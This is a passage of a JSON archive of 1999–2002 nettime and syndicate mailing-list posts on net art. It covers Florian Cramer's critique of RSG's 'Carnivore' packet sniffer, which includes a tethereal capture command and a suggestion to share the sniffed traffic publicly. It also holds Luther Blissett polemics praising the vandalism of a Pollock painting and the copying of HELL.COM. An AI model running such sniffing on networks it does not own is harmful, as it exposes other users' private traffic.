                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\" [6x]"
                    },
                    {
                        "from": "integer {AT} www.god-emil.dk",
                        "content": "\nRe: <nettime> How We Made Our Own \"Carnivore\" [6x]\n\n\nABSTRAKT: by looking through others' garbage.\n\n\n\n\n\n>>instead of stumbling over technical details, \n\nunfortunately your software is simply.technical\n+ inspired by others software which is simply.permit someone to smile at your genetik garb.\n\n\n>perhaps the nettime\n>community \n\nyes. prove it\n\n\n\n>can engage in a deeper critique of the software and its uses?\n>\n>-RSG\n\n\nit is almost as interesting + elegant as 0101's life sharing\nie. it is almost as interesting + elegant as looking through others' garbage [genetik garbage if you like. sch....\n\ndifference being 0101 aren't americans hence aren't as ugly not terribly dressed\nas rhizome simply.cheap fresh from the ny streets smurfs. [don't despair -\neveryone works the streets more or less. artists just do it more oftenly]\n\n\nnn\n\n\n\n\n\n\n-\n-\n-\n\n\n\n\n\n\n\n\n\n\n    /_/\n                          /\n             \\            \\/       i should like to be a human plant\n            \\/       __\n                    __/\n                                   i will shed leaves in the shade\n        \\_\\                        because i like stepping on bugs\n\n\n\n*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--\nNetochka Nezvanova                   nezvanova {AT} eusocial.com\n                                    http://www.eusocial.com\n\n                                http://www.ggttctttat.com/!\n   n  r  .   5        !!!      http://steim.nl/leaves/petalz\n*--*--*--*--*--*--*--*--*--*--*--*--*-- --*--*--*--*--*--*--\n \n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00115",
                        "date": "Fri, 21 Jun 2002 05:29:00 +0200 (CEST)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206211557.LAA18409 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00115.html",
                        "content-type": "text/plai",
                        "author_name": "integer",
                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\" [6x]"
                    },
                    {
                        "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                        "content": "\n\nAm Thu, 20.Jun.2002 um 15:32:59 -0400x schrieb RSG:\n> >From: Andreas Broeckmann <abroeck {AT} transmediale.de>\n> >[...] discuss the technical analysis offered by the Moscow-jury which, \n> >from what i understand as a techno-idiot and reading against the grain, \n> >basically says that your Carnivore program offers nothing new under the sun??\n> \n> as stated in our original post, Carnivore Personal Edition is rich with\n> new features not included in its FBI counterpart. \n\nFBI's \"Carnivore\" is, as far as known, an Ethernet sniffer set up to do\nvery specific/particular tasks, like sniffing only E-Mail of only one\nperson (see: <http://www.howstuffworks.com/carnivore3.htm>). As the FBI\nputs it itself:\n\n  \"The Carnivore device works much like commercial \"sniffers\" and other\n  network diagnostic tools used by ISPs every day, except that it\n  provides the FBI with a unique ability to distinguish between\n  communications which may be lawfully intercepted and those which may\n  not.\"\n\n\"RSG Carnivore\" has no such encoded sniffing rulesets. It is yet another\nof the many Ethernet sniffing programs out there, except that its output\nis meant for \"Net.art\" visualization front-ends or, to use your\nterminology, \"plugins\". \n\nThe \"RSG Carnivore\" we - i.e. the Moscow read_me 1.2 jury - reviewed was\na simple Perl script wrapper around the well-known standard Linux/Unix\nprogram \"tcpdump\" and another third-party program that converted the\nlatter's binary output into ASCII. \"tcpdump\" did the actual sniffing (or\n\"surveillance\", the \"Carnivore\" Perl scripts only transferred the output\nto the web so that it could be used by Net.art visualization \"plugins\".\nThis, I assume, was also the version of \"RSG Carnivore\" which the ars\nelectronica jury reviewed and awarded.\n\nThe new \"RSG Carnivore PE\" differs from the old \"RSG Carnivore\" in that\nit is not a Linux/Unix, but a Windows program, and that it doesn't need\nto be installed on servers. It is written in Visual Basic instead of\nPerl and uses the third-party software WinPcap\n<http://winpcap.polito.it/> as its sniffing engine, instead of tcpdump. \n\n\nOf the 9 differences you find in \"RSG Carnivore\" as opposed to other\nEthernet sniffing tools, I could validate at least the first:\n\n> 1) artist-made diagnosic clients created by leading net artists around\n> the world\n\nConcerning the rest:\n\n> 2) remote access--meaning clients can access CarnivorePE data streams\n> from other computers via the Internet\n\nTrivial to implement if you combine an ethernet sniffer with a webserver\nor file sharing tool, like\n\ntethereal -x > sniffdata.txt\n\n...and then share this file in Gnutella or a locally running webserver.\n\n> 3) full subject targetting--meaning all users are sniffed, not just a\n> single user\n\nAny network sniffing software I know does this. (Ethereal, dsniff,\nettercap...)\n\n> 4) full data targetting--all data is sniffed, not just email\n\nAs above. \n\nWhat you write sounds reads a hackish prank; a hack to sell\ntrivial/commonplace functionality as extraordinary to people who, due to\ntheir non-technical background, can't judge it. \n\n\nman ethereal:\n\n   The following is a table of protocol and protocol fields that are\n   filterable in Ethereal.  \n\n       802.1q Virtual LAN (vlan)\n[...]\n       802.1x Authentication (eapol)\n[...]\n       AOL Instant Messenger (aim)\n[...]\n       ATM (atm)\n[...]\n       Address Resolution Protocol (arp)\n[...]\n       Appletalk Address Resolution Protocol (aarp)\n[...]\n[...]\n       Cisco Auto-RP (auto_rp)\n[...]\n\n\n[Skipping dozens and hundreds of protocols]\n\n\n\n> 5) volume buffering--to avoid packet storms, CarnivorePE can buffer\n> packet output to either 1, 5, 20, or 100 packets per second.\n\n\nman ethereal:\n\n  -b  If a maximum capture file size was specified, cause Ethereal to\n      run in \"ring buffer\" mode, with the specified number of\n      files.  In \"ring buffer\" mode, Ethereal will write to\n      several capture files; the name of the first file, while the cap\u00ad\n      ture is in progress, will be the name specified\n      by the -w flag, and subsequent files with have\n      .n appended, with n counting up.\n\n\n> 6) transport protocol filtering--meaning CarnivorePE can sniff on TCP or\n> UDP packets, or both\n\nman ethereal, continued from 4):\n\n\n       User Datagram Protocol (udp)\n\n           udp.checksum  Checksum\n               Unsigned 16-bit integer\n\n           udp.checksum_bad  Bad Checksum\n               Boolean\n\n           udp.dstport  Destination Port\n               Unsigned 16-bit integer\n\n           udp.length  Length\n               Unsigned 16-bit integer\n\n           udp.port  Source or Destination Port\n               Unsigned 16-bit integer\n\n           udp.srcport  Source Port\n               Unsigned 16-bit integer\n \n\nman ettercap:\n\n       -u, --udp\n              sniff  only  UDP  packets  (default  is TCP).  \n\n\n> 7) output channels--meaning clients can request one of three output\n> channels: \"carnivore\" for full packet data in ASCII, \"hexivore\" for full\n> packet data in hex, or \"minivore\" for packet headers only\n\nman ethereal:\n\n   It can assemble all the packets in a TCP conversation and\n   show you the ASCII (or EBCDIC, or hex) data in that conversation.\n   Display filters in Ethereal are very powerful; more\n   fields are filterable in Ethereal than in other protocol\n   analyzers, and the syntax you can use to create your filters is\n   richer.  As Ethereal progresses, expect more and more protocol\n   fields to be allowed in display filters.\n\n> 8) an open source software license (a dramatic improvement over its\n> chief rival, Etherpeek, which isn't open source and costs $1,295)\n\nLooking up...\n\n/usr/doc/ethereal/copyright: \n\n   [...]\n   GPL, as evidenced by existence of GPL license file \"COPYING\".\n   (the GNU GPL may be viewed on Debian systems in /usr/share/common-licenses/GPL)\n\n/usr/doc/dsniff/copyright:\n\n   [...]\n\n  Copyright:   Copyright (c) 1999, 2000 Dug Song <dugsong {AT} monkey.org>\n  All rights reserved, all wrongs reversed.\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions\n  are met:\n\n  1. Redistributions of source code must retain the above copyright\n     notice, this list of conditions and the following disclaimer.\n  2. Redistributions in binary form must reproduce the above copyright\n     notice, this list of conditions and the following disclaimer in the\n     documentation and/or other materials provided with the distribution.\n  3. The name of author may not be used to endorse or promote products\n     derived from this software without specific prior written permission.\n\n\n/usr/doc/ettercap/copyright:\n\n   [...]\n\n   Ettercap is licensed under the terms of the GNU GPL.\n\n   The GPL licence can be found in /usr/share/common-licenses on modern\n   Debian systems.\n\n> 9) a distributed rather than centralized architecture\n> \n> most of these features are also missing in the various other sniffers\n> available including Snort and tcpdump.\n\n(See point 2.)\n\n> instead of stumbling over technical details, perhaps the nettime\n> community can engage in a deeper critique of the software and its uses?\n\nA deeper critique would be that the\ndeveloper team of \"Ethereal\", a free cross-plattform (Linux/Unix and\nWindows) tool which offers everything you describe except the Net.art\n\"plugins\", should have run\n\ns/Ethereal/Carnivore/g\n\nover their sourcecode and sold it as a \"critical\", \"political\",\n\"subversive\", \"provocative\" etc. piece of software (art), and that\nperhaps this is what the RSG hacktivism is actually about. Next we sell\n\"Norton Unerase\" + some fancy \"Net.art\" visualization backend as a\ncritical software art piece on personal data privacy.\n\n\nThe bottomline: \"RSG Carnivore\" is a packet sniffer for the purpose of\ncreating aestheticized visualizations. I appreciate that because I often\nrun packet-sniffers to entertain myself with accidental concrete poetry\n(particularly radical and sexually intense if you sniff on Gnutella\nconnections).  But you agree that, as aesthetic sniffing, it is\ndifferent from the targetted law-enforcement packet sniffing of FBI\nCarnivore whose algorithmic intelligence is spent on the input backend,\nnot on the output frontend.\n\nI am also in in tune with exploiting ready-made software concepts and\ntools. (I even think RSG could have saved much effort by working with a\nhigh-level cross-platform tool like \"Ethereal\" right away instead of\nwriting its own Perl/Visual Basic wrappers around low-level sniffing\nengines.) \n\nThe difference between FBI Carnivore and commonplace packet sniffers\nshows that the difference is in the targetting and the particular\napplication. In the Moscow jury, we just failed to see the rhetoric\nimplied in the title \"Carnivore\" (and the subsequent political rhetoric\nyou posted here) backed-up in the piece.  \n\nMeanwhile, though, I changed my mind and think our objections were\npremature. While the targetting and application of \"RSG Carnivore\" might\nbe different from FBI Carnivore on the technical level, it is not so\ndifferent on the discursive level. Because \"RSG Carnivore\", as it turns\nout, are not those who run it and let it sniff their networks, but the\nnet.art world itself, as obvious in this thread it provoked. \"RSG\nCarnivore\" was sophisticatedly at work when Olga Goriunova posted the\nread_me 1.2 jury statement, but rhizome-digest of June 2nd, 2002\nincluded it in a version modified by the rhizome editors that skipped\nall of our frivolous remarks about \"RSG Carnivore\", passing it as Olga's\noriginal E-Mail though, without any editorial annotation or typographic\n[...] markup. This was Carnivore at work: The implied appeal to readers\nto critically question media-fabricated truth (whether by the\nsyndication of, say, ABC News and Disney or rhizome.org and RSG\nCarnivore) by matching rhizome-digest against rhizome-raw showed what\nthe piece was actually about. Contrary to what Andreas criticized, the\n\"Net.art\"-themed screensaver output turned out to be a clever means of\ntactical distraction from thei actual piece.\n\nYou call your award-winning piece \"Carnivore\" instead of (seemingly more\nappropriate) \"Rhizome Community Network Sniffer\"; this honesty is much\nappreciated!\n\nFlorian\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA, finger cantsin {AT} mail.zedat.fu-berlin.de\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00123",
                        "date": "Sat, 22 Jun 2002 01:36:29 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206221523.LAA17153 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00123.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\" [6x]"
                    }
                ],
                "message-id": "200206201835.OAA21828 {AT} bbs.thing.net",
                "date": "Thu, 20 Jun 2002 14:28:40 -0400",
                "content-type": "text/plai"
            }
        ],
        "desc": "..."
    },
    "Luther Blissett": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <pasquine@dsc.unibo.it>",
                "id": "00067",
                "content": "dear all,\n\nnet_institute's database is running! see http://net-i.zkm.de\n\nThe net_institute is  not another  institution  dealing with\nnew media but an  attempt to  develop  horizontal strategies\nfor cultural production and to deconstruct traditional power\nmodels.\n\nNet_institute's  web site is, in particular, a collaborative\ntool  to develop  a cultural  infrastructure  in Italy and a\nmedia  lab  in Bologna,  but it  features  also a map of the\neuropean mediascape, which you are invited to construct. The\nbuilding  process is completely  public  and via the web and\nmakes up net_institute's mediatic image as well.\n\nYou  all are invited to add your projects, sites, media cen-\nters, mailing  list, bedrooms, etc.  to the  european media-\nscape map and, if you like it, to net_institute's structure.\nFurther instructions are provided on the site.\n\nNet_institute's  web interface wants  to work as a groupware\nfor the collaborative construction of networks and organisa-\ntions. It could  be an useful  example for platforms such as\nEuropean Cultural Backbone  or urban networks such as Inter-\nnational City Federation and Open-Berlin.\n\nThe  interface can be improved.  This is the  first version,\nnot finished.  In the next weeks a more mass-friendly portal\nwill be designed. Comments, critics and support are welcome.\nAt  present  a listserver  is needed to run  net_institute's\nmailing  list.  Collaborations  to apply  this idea to other\ncities or urban projects are welcome as well.\n\nmailto:net-i@zkm.de\n\nA big thank to QWERG.com and Walter van der Cruijsen.\n\ngreetings,\nLuther Blissett\n\n\n[PS. The net_institute is the concept evolution and the\nurban implementation of Luther Blissett as an \"open pop\nstar\" and multi-user tool. More info in the next weeks.]\n\n\n\n\n\n\n____________________________________________________________\n\n\nThe net_institute.\n\n\nThe net_institute is a medium-building. It is an hybrid\nbetween the net of the metropolis and the information\narchitecture of the internet, between landscape and\nmediascape. The net_instute is a physical, social, mediatic\nspace controlled and constructed by the net. The content and\nthe structure produced on its web interface draw and shape\nthe urban space. The net_institute doesn't consider the city\nan established identity but a collective representation\ncontinuously reshaped by its users.\n\nMcLuhan: \"We shape our tools and thereafter they shape us\".\nThe net_institute is a trans-architecture project. It's not\na city-metaphor for another alienated virtual community but\nan urban project to embody the structure and the content of\nthe net. It doesn't imitate the appareance of the medium but\nits deep framework.\n\nFranco Berardi aka Bifo: \"Metropolis is the becoming-\ncyberspace of the urban space\". The concept of urban\ninterface is the opposite of the digital communities and\ncities. The urban interface breaks with the cultural\ndominance of discourses about cyberspace, virtual,\nsimulation. The net_institute is a physical, social,\nmediatic space controlled and constructed by the net.\n\nThe 'institute' name and the image were chosen to abandon\nthe hype about virtual and cyberspace, and as a strategy of\nretro-avangardism [see Neue Slovenische Kunst, Electronic\nEmbassy, Laibach, Luther Blissett itself]. They are also a\njoke and a reflection about the institutionalisation of\nsubcultural movements.\n\nThe net_institute is a project of \"hacking\" of the\narchitectural and urbanistic code, not only of information.\nHacking means deconstructing a tool to understand its\nworking and to reconstruct in a personal, creative way. In\nthe jargon of computer science, the net_institute is the\nimplementation of the net in another environment.\n\nThe net_institute is a multiform building. Its name means\nnet_worked_institute. Everyone can integrate net_institute\narchitecture with public or personal spaces, bodies, events,\ndevices, theories, computers, photos, files, imgs, projects.\nThe image and the structure produced on the net thereafter\nshape the urban space. The net_institute uses the net to\ncatalyze social life.\n\nThe net_institute web interface works as groupware, a space\nfor collective brainstorming, a field for the connective/\ncollective intelligence. It structures itself, in progress,\nto be a \"technology of intelligence\" [Pierre Levy]. The\nnet_institute's framework, functions, links, spaces can be\nredefined by users experimenting hybrid, creative,\nsurrealistic architectures, by making up other \"institutes\".\n The interface works as a conceptual map that has to be\nsubsequently developed in the real space.\n\n\n\n____________________________________________________________\n\n                             _\n     net_institute     __   (_)\n               _______/ /  __\n              /__  __  /  / /\n                / /_/ /__/ /__\n               / ____________/\n              /_/\n                    http://net-i.zkm.de\n                    mailto:net-i@zkm.de\n\n____________________________________________________________\n------Syndicate mailinglist--------------------\nSyndicate network for media culture and media art\ninformation and archive: http://www.v2.nl/syndicate\nto unsubscribe, write to <syndicate-request@aec.at>\nin the body of the msg: unsubscribe your@email.adress\n\n\n",
                "date": "Sun, 19 Dec 1999 19:57:58 +0200",
                "to": "syndicate@aec.at",
                "message-id": "v04220802b482be56c577@[212.141.93.6]",
                "url": "https://nettime.org/Lists-Archives/syndicate-9912/msg00067.html",
                "list": "syndicate",
                "author_name": "Luther Blissett",
                "subject": "yndicate: net_institute's kernel is running!"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <ultramega@polimedia.it>",
                "id": "00071",
                "content": ">From La Repubblica on line (<http://www.repubblica.it>, the digital edition of\nthe national daily paper, as well as the most visited Italian website)  3\nFebruary 1999, Wednesday:\n\nWHAT IF CANNATA THE \"MADMAN\" WERE MORE \"ARTISTIC\" THAN POLLOCK?\nA provocative letter: Must \"mainstream\" art be inviolable? And who decides\nwhat is genius?\n\nBy  LUTHER BLISSETT\n\n\n[begin staff preface]\nROME - Of course it is a provocation, but it is also more than that. The\nletter which Luther Blissett - the collective identity that has accustomed us\nto many coups (verbal and not) in the recent years - sent to\nrepubblica.it struck us and roused our curiosity. It expresses a feeling that\nmany people certainly got a week ago, when the vandalistic smearing of a\nJackson Pollock work hit the news. It was not a rational thing; rather, a joke\npeople uttered, or just thought, by instinct: \"Which one is the smear?\". A\nsuperficial question that was restrained by cultural awareness and indignation\nfor this assault on contemporary art and its dignity. In his/her letter,\nLuther Blissett turns the joke into a lucid provocation.\nOne may agree or not, but it would not be just to throw this text away. Our\ncorrespondent and art expert Paolo Vagheggi replies to Luther Blissett at the\nlinked page.\n[end]\n\n \nOn 26 January 1999, Piero Cannata operated on Pollock's painting \"Undulated\nPaths\", exhibited at Rome's National Gallery of Modern Art. I challenge anyone\nof the journalists that covered Cannata's action to tell the smear from any of\nthe other scribblings. Cannata's intervention is the best tribute ever to the\nartist. The only difference between the American Abstract Expressionist and\nthe Italian performance artist is that the former used to express his madness\nwithin an \"artistic context\", and consequently found the theoretical and\nfinancial support of critics and art-gallery managers. Most likely, without\nsuch a support, Pollock would have entered a lunatic asylum, nurses sneering\nat his \"works\" on the walls.\nJackson Pollock didn't paint: he dripped, smeared and soiled. On his canvases\none can find saliva, cigarette stumps, matches, anything. One day Pollock\nurinated into Peggy Guggenheim's hearth. Yeah, he pissed in it, before the\neyes of several onlookers. He was probably drunk. This immediately became one\nof the best known \"performances\" of the great genius, whose life was\npunctuated by such acts. That fireplace is still in one of the rooms with a\nview on the Canal. If Piero Cannata or any other anonymous visitor of the\npresent \"Peggy Guggenheim Collection\" pissed into the same hearth, what would\nthe keepers do?\nOf course they wouldn't deem the guy as a genius, at best he'd be denounced.\nHowever, are you sure that Pollock's performances are more important than\nCannata's? Are you really sure that Pollock wouldn't like such a \"betterment\"? \nWhy should an art work hang on a wall with people only allowed to look at it,\nsince it is obvious that eyesight is just one of the senses roused by whatever\nwork? One should be allowed to touch and smell. This would quickly wear out\nthe paintings? So what? What do you need a sacred and infinitely inviolable\nobject for? Don't you know that museums keep Calder's sculptures in narrow\nrooms, though they were created for being exhibited in the open air and shaken\nby the wind? Don't you know that museums bar the way to Beuys' and Tinguely's\nworks, though they were projected for interaction with the public? *This* is\nviolation. \nIf the most important thing is the artist's intention, than Pollock's painting\nwas not destined to a reliquiary, and Cannata's intervention is licit and\nparticularly well-aimed. But museums and galleries are driven by other\nfactors, such as money. This is commonplace, then why keep schmoozing about\nart being sacral and untouchable? Talk about commercial value. If the word\n\"artist\" has ever had any meaning, then Piero Cannata is the real artist.\nUnlike Pollock, Cannata never compromised himself with the art establishment,\nnever strived for the critics' and gallery managers' appreciation. He couldn't\ncare less, he's got better things to do. Mind you, this is not the first case:\npeople like Van Gogh were never understood at their time, only to be\nre-estimated after several years. It?s funny to recall the blindness of Van\nGogh's coeval critics. Oh, they were so obtuse! Oh, those were such\nobscurantist times! Nowadays it's different, art is free of prejudices...\nIsn't it?  \nTomorrow Piero Cannata will go back to the madhouse that hosted him during the\npast two years, and it's gonna take decades before he's acknowledged as a\nwell-deserving performer. Not only Piero Cannata will get entries in art\nhistory books: he'll get them as one of the most radical and innovative\nartists of the Nineties. This is one of the tasks we leave to our posterity. \n\n(2 February 1999)\n\n__________________\n\nDEAR LUTHER, ART IS A SERIOUS THING\nA Reply to the \"pseudo-Futurist\" provocation: Pollock was a self-conscious\nartist, values cannot be annihilated\n\nby PAOLO VAGHEGGI\n\nMaybe that of the pseudo-Luther Blissett is nothing other than a nice\npseudo-Futurist provocation. None of us has forgotten Filippo Tommaso\nMarinetti's 'incendiary violence': 'We want to destroy museums, libraries and\nwhatever kind of academies', we want to set Italy free from 'its fetid\ngangrene of professors, archaelogists, cicerones and antiquarians'. Therefore,\nlong live Piero Cannata, let's promote him to the rank of artist. Long live\nthe David hammer-freak and Pollock smearer. \nBut what if this, instead of being a pseudo-Futurist provocation, were just\nthe opinion and belief of an ignorant (ignorant being for 'he who ignores')?\nIn this case, we should tell them the difference between a rash gesture caused\nby madness and a conscious, advised, pondered and researched artistic deed. We\nshould tell them that Jackson Pollock, no matter what the nazis would have\nthought of him, was not a dauber, nor was his art 'degenerate'. His strokes\nwere not felt-tip scribblings. His technique, \"Dripping\", was sharp and\npondered. As Dora Vallier explained, the canvas was placed on a level surface,\neven on the floor; and a few holes drilled through the bottom of a color box\nallowed the painter to work moving about and letting the color drip on the canvas.\nThere was no fortuitous act, as explained by Pollock himself, who died in 1956\nat the age of 44: [...what follows is a Pollock's quote which I won't\nre-translate from Italian back into English. It's about the control of the\ndrops' trajectory, T.N....]\nI could go on for so long telling stories about Pollock, who studied\nphilosophy and psychoanalisis (as well as native-American painting), who was\nPicasso-wise and always lived between anxiety and the rapture of his work.\nThis rapture was provoked by his quest for a personal existential style: he\nidentified himself with his artworks, which gradually expanded and absorbed\nall his energies.\nAs Palma Bucarelli noticed back in 1958, during the NGMA Pollock Exhibition,\n'thus, independently from any analogical reference, painting itself can\nexpress the most profound movements of the soul; the more the canvas reflects\nthe \"quantity\" and the \"length\" of painting action, the clearer is the\nexpression of emotional intensity.'  \nJackson Pollock is not Pietro Cannata [sic]. Pietro Cannata is non Jackson Pollock.\nMaybe someone dreams of an annihilation of values in order to say: 'I can do\nthat as well!'. Things are not like that. There will not be any Night of\nCrystals, no matter what Luther Blissett believes.\n\n(2 February 1999)\n\n_____________\n\n\n[Luther Blissett replied, but Repubblica didn't run the piece. Luther put it\ninto circulation as the issue #39 of their anti-art newsletter called\n\"Epistola Ex Vaticanis Museis\". Here it is:]\n \n\nDEAR MR. VAGHEGGI, MADHOUSES ARE SERIOUS THINGS, MORE SERIOUS THAN ART\nLuther Blissett replies to Paolo Vagheggi about the Cannata affair\n\nAt best, your response proved that you didn't even read my press release.\nAt worst, you read it but didn't understand. I didn't say 'I can do that as\nwell!' nor did I call Jackson Pollock a worthless dauber. Maybe that's really\nwhat I think, but I am not so naive as to give you the opportunity to splutter\nthe usual reply: 'You are ignorant, you don't understand contemporary art',\nwhich means, as you said yourself, that I ignore it. \nI promoted (or degraded, which depends on the point of view) Piero Cannata to\nthe rank of artist. At this point, customary language would require a large\namount of terms like 'Post-Modern tension', 'Empathy', 'Genius',\n'Intemperance', 'Existential Drama', plus a few quotes (preferably taken from\nsome mate?s book). Mix up, ferment for one month, and the artist is ready. Is\nthe vernissage scheduled?\nIt goes without saying that I won't do that, because I'm no respectable\ncritic. My tool box does not contain catalogues and invitations to\nexhibitions, but a hammer, a knife and a few permanent markers.\nIf I'm no respectable critic, that's precisely because I'm not able to ignore.\nUnfortunately, those who 'ignore' are people like you, journalists, critics,\ngallery managers, collectors... You and the majority that you represent are\nignorant. You're ignorant because you think it's possible to\nseparate the \"beautiful\" from the \"ugly\", \"art\" from \"madness\", you have the\npower to put a man into an asylum, that is the power of ignorance. I belong to\na minority that rely on their own \"lack of culture\" and (luckily or\nunfortunately) couldn't even hurt a bug. Maybe I'd be able to hurt a hack...\nYou're so keen on defending Pollock's art from the charge of being\n\"degenerate\", a charge that nobody pressed. Don't you find it bizarre? You are\nsupporting the improsonment of a 'mad vandal', a 'fanatic', while you try to\nconvince me that Pollock, who was praised in life and died a millionaire,\nexpressed a profound existential tragedy!\n'He identified himself with his artworks, which gradually expanded and\nabsorbed all his energies'. Aren't these words perfectly suitable to the life\nof Piero Cannata?\n'There was no fortuitous act'... Yeah, you think that Cannata's is 'a rash\ngesture caused by madness'... And yet, for more than 9 years, Cannata has gone\nahead with such a lucid project that even Fontana would envy him! Cannata\nplans his actions months in advance, and is determined to carry on for the\nthings he believes in. No, Piero Cannata is not mad (nor does madness exist,\nbut this is another story). He's just mad enough to go a few inches beyond the\nsacred and unpassable boundaries of Art, enough not to long for the support of\ncritics and galleries.\nPaolo Vagheggi, Maurizio Calvesi, Achille Bonito Oliva and all the others:\nyou're precisely that kind of persons that in 1909 were shocked at Futurism,\nand in 1917 were indignant because an urinal was exhibited in a gallery,  and\nin don't-remember-what-year because an artist was selling his own shit. It's\ntoo easy, after more than half a century, to organize Dada and Surrealist\nretrospectives, dish up monographs on the likes of Marinetti, Breton and\nTzara, people who died and were enterred long ago.\nYou just recuperate; when will you *propose* anything? \nHere's my answer: your descendants will do it for you in a few decades, as\ntime pours oil on today's troubled waters, as Piero Cannata is gagged and\nstuffed with thorazine, Alexander Brener grows old and suitable for museums,\nLuther Blissett become a spectre (s/he already is). I look forward to those\nbanquets, revaluations, essays, exhibitions, catalogues, T-shirts and CD-roms.\nNo, it's not you that make history. Maybe it's not me either. Piero Cannata is\ntrying to do it.\nThings are like that. There will be a Night of Crystals, no matter what Luther\nBlissett believes. \n\n(5 February 1999)\n\n\n\n\n_________________________________________________________________\n\nAnti Art Web Site:\nhttp://www.geocities.com/SoHo/Atrium/4281/aaws.html\nThe Ultimate Luther Blissett Website:\nhttp://www.geocities.com/Area51/Rampart/6812/index.html\n___________________________________________________anticopyright____\n\n\n\n\n",
                "date": "Tue, 23 Feb 1999 19:29:42 +0100",
                "to": "syndicate@aec.at",
                "message-id": "36D2F392.5B0BC783@polimedia.it",
                "url": "https://nettime.org/Lists-Archives/syndicate-9902/msg00071.html",
                "list": "syndicate",
                "author_name": "Luther Blissett",
                "subject": "yndicate: Luther Blissett in solidarity with Piero Cannata"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <12345@net27.it>",
                "id": "00130",
                "content": "open_source_hell.com\n\n\nwww. HELL.COM was born in 1995 as a conceptual art piece, an anti-web\nthat sold and promoted nothing and was not accessible to the public: a\nsheer b(l)ack hole of the web. For almost three years,\nHELL.COM, a site with no content, never listed in any directory nor\nlinked anywhere, averages of a million hits per month from people typing\n\nthe name in search engines. It becomes therefore a conteiner for net.art\n\nsites and art galleries in which is possible to get in only if you are\ninvited and whom list of member s is kept secret; it's what themselves\ncall \"a private parallel web.\" The idea behind HELL.COM is to create a\nlaunching pad for cyber-artists extremly elitist and with badly hidden\nvenal ambitions... a fuckin' museum!\n\nDuring february 1999 HELL.COM organized \"surface\": a show with several\nsuperstar net artists like zuper!, absurd, fakeshop and many more.\nLike all the events by HELL.COM also this one was not available to the\npublic, but was opened exclusively to RHIZOME subscribers.\n\nDuring the 48 hours opening  0100101110101101.ORG downloaded all the\nfiles of the site; the clone has been put on line, this time\nanticopyright,visible, reproducible and freely diffusible and, thanks to\n\nsome technical devices, even more easily downloadable.\n\nAccording to 0100101110101101.ORG \"the convinction that information must\n\nbe free is a tribute to the way in which a very good computer  or a\nvalid program work: binary numbers move in accordance with the most\nlogic, direct and necessary way to do their complex function. What is a\ncomputer if not somthing that benefit by the free flow of information? \"\n\nAt the moment the site is on line at the url:\nhttp://www.0100101110101101.ORG/hell.com\nThe situation is constantly changing and nobody knows if and how long\nthe site will remain active; actually HELL.COM has already threatened\nlegal proceedings for copyright violations.\n\n\n\nopen_source_hell.com: http://www.0100101110101101.ORG/hell.com\nHELL.COM: http://www.hell.com\n\n\n\n_____________________________________________________________________\n\nSubject: [7-11] [fwd] WARNING1.0|||COPYRIGHT VIOLATION\nDate: Tue, 11 May 1999 21:14:37 +0200\nFrom: 011101001010110100101111100001001000110101@0100101110101101.ORG\nReply-To: 7-11@mila.ljudmila.org\nTo: 011101001010110100101111100001001000110101@0100101110101101.ORG\n\n\n\n\nSubject: WARNING1.0|||COPYRIGHT VIOLATION\nDate: Mon, 10 May 1999 21:42:33 -0700\nFrom: JUSTICE@HELL.com\n\n\n\n\nre:\n\nopen_source_hell.com http://www.0100101110101101.ORG/hell.com\n\ncute...\n\n\n\nplease immediately remove this material from your server\n\nyou are in violation of international copyright laws which are clearly\nposted in the copyright information contained in our source code.\n\nalso of note,\n\nit appears as though you have violated the copyrights of quite a few\nof our members individually:::::::::::::::\n\n\nhttp://www.0100101110101101.ORG\non behalf of these individuals we request that you also remove\nthese materials from your server as well\n\n||||\n\n\nit would make sense to use your \"abilities\"\nto attempt something *original*\n\nJUSTICE@HELL.COM\n\n\n\n\n\nSecurity\\\\\\\\\n\n\n\n\n\n\n\nhttp://HELL.COM\n\n\n\n\n\n\n\n                                                |||||||||||\n\n\n\n------Syndicate mailinglist--------------------\n Syndicate network for media culture and media art\n information and archive: http://www.v2.nl/syndicate/\n to unsubscribe, write to <syndicate-request@aec.at>\n in the body of the msg: unsubscribe your@email.adress\n\n\n",
                "date": "Fri, 14 May 1999 22:55:51 +0200",
                "to": "syndicate@aec.at",
                "message-id": "373C8DD3.EB00C0E0@net27.it",
                "url": "https://nettime.org/Lists-Archives/syndicate-9905/msg00130.html",
                "list": "syndicate",
                "author_name": "Luther Blissett",
                "subject": "yndicate: open_source_hell.com"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00013",
